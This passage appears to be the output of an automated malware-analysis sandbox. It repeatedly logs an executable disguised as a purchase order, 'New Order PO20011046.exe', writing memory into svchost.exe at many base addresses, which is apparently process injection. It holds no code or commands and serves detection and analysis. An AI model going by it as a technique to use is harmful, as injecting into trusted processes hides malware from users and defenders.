Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: F80000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: F90000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: FA0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: FB0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: FC0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: FD0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: FE0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: FF0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1000000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1010000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1020000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1030000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1040000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1050000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1060000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1070000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1080000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1090000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 10A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 10B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 10C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 10D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 10E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 10F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1100000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1110000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1120000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1130000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1140000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1150000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1160000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1170000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1180000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1190000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 11A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 11B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 11C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 11D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 11E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 11F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1200000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1210000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1220000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1230000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1240000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1250000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1260000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1270000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1280000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1290000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 12A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 12B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 12C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 12D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 12E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 12F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3310000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3320000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3330000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3340000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3350000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3360000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3370000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3380000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3390000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 33A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 33B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 33C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 33D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 33E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 33F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3400000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3410000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3420000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3430000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3440000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3450000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3460000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3470000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3480000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3490000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 34A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 34B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 34C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 34D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 34E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 34F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3500000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3510000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3520000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3530000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3540000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3550000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3560000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3570000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3580000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 36D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 36E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 36F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3700000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3710000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3720000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3730000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3740000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3750000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3760000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3770000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3780000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3790000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 37A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 37B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 37C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 37D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 37E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 37F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 3840000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5110000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5120000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5130000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5140000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5150000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5160000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5170000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5180000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5190000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 51A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 51B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 51C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 51D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 51E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5230000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5240000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5250000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5260000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5270000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5390000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 53A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 53B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 53C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 53D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 53E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 53F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5400000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5410000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5420000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5570000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5580000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5590000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 55A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 55B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 55C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 55D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 55E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 55F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5600000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5610000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5620000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5630000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5640000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5650000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5660000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5670000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5680000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5690000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 56A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 56B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 56C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 56D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 56E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 56F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5700000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5710000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5860000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5870000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5880000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5890000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 58A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 58B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 58C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 58D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 58E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 58F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5900000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5910000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5920000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5930000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5940000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5950000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5960000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5970000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5980000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5990000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 59A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 59B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 59C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 59D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 59E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 59F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5A00000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5A10000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5A20000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5A30000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5A40000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5A50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5A60000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5A70000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5A80000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5A90000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5AA0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5AB0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5AC0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5AD0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5AE0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5AF0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5B00000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5B10000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5B20000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5B30000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5B40000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5B50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5B60000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5B70000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5B80000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5B90000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5BA0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5BB0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5BC0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5BD0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5BE0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5BF0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5C00000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5C10000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5C20000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5C30000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5C40000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5C50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5C60000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5C70000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5C80000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5C90000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5CA0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5CB0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5CC0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5CD0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5CE0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5CF0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5D00000
